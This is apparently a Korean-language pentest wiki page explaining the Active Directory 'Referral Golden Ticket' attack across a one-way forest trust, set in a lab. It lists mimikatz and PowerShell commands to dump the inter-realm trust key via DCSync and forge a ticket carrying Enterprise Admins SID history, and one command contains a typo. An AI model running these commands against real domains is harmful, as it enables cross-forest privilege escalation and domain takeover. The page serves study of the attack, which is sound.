Referral Golden Ticket
A 도메인은 B 도메인을 신뢰하지만 B 도메인은 A 도메인을 신뢰하지 않는 일방향적 신뢰 관계에서는 B 도메인만이 A 도메인에 인증하거나 리소스에 접근하는 것이 허용됩니다.
하지만 신뢰 방향에 상관없이 신뢰 패스워드(Inter-realm Key)는 공통적으로 사용되기 때문에 A 도메인이 침해당한다면 신뢰 암호를 이용한 위조된 레퍼럴 골든 티켓을 생성하여 B 도메인 장악이 가능합니다.
Abuse
# TDO GUID 열거
Get-ADObject -Filter 'objectClass -eq "trustedDomain"'
# 신뢰 패스워드 덤프
.\mimikatz.exe "lsadump::dcsync /guid:{f2599de1-3401-41dc-967a-80f50343cf1e} /domain:PENTEST.LOCAL" "exit"
# 트러스트 도메인 SID 열거
.\mimikatz.exe "lsadump::trust" "exit"
# 레퍼럴 골든 티켓 생성
.\mimikatz.exe "keberos::golden /user:Administrator /domain:kisa.local /sid:S-1-5-21-1065249901-241436563-1655826743 /sids:S-1-5-21-2835490888-2107562977-246861531-519 /rc4:8f271686309d4cda6aaf0d170e534585 /service:krbtgt /target:contoso.com
Root Cause
신뢰 관계가 구성되면 신뢰 패스워드가 생성되어 TDO(Trusted Domain Object)의 trustAuthIncoming(인바운드), trustAuthOutcoming(아웃바운드) 속성에 저장되며, 이 값은 신뢰받는 도메인에 생성되는 신뢰 계정의 패스워드로 사용됩니다.

클라이언트가 외부 도메인 서비스에 접근하여 TGS-REQ를 서버에 전송하면, 서버는 서비스 티켓을 암호화 하기 위한 외부 도메인 서비스 계정의 패스워드 해시를 알지 못합니다. 따라서 외부 도메인과 서로 인증 정보를 교환하기 위한 공통 키가 필요하게 되어 신뢰 패스워드를 사용합니다.
신뢰받는 도메인의 객체가 신뢰하는 도메인 리소스에 접근하려 할 때 언급한 것과 같이 일반적인 커버로스 인증 6단계처럼 TGT를 로컬 도메인 krbtgt 비밀 키로 암호화한다면 외부 도메인에서 이를 복호화할 수 없기 때문에 신뢰 패스워드를 통해 암호화 하는 2단계가 추가됩니다.
실습 환경에서는 KISA와 CONTOSO가 일방향 포레스트 트러스트 관계입니다. 실질적으로 CONTOSO 도메인 객체만이 KISA에 접근할 수 있기 때문에 KISA로부터 생성된 레퍼럴 티켓이 CONTOSO로 전달될 일은 없지만, 설계상 허점으로 인해 KISA에서 생성한 위조된 레퍼럴 티켓이 CONTOSO에서 수용됩니다.

공격자는 KISA.LOCAL을 장악한 이후 신뢰 패스워드를 통해 SID History를 CONTOSO.COM의 엔터프라이즈 관리자로 위조한 레퍼럴 골든 티켓을 생성한 이후 CONTOSO의 관리자 권한을 가질 수 있습니다.
References
Last updated
Was this helpful?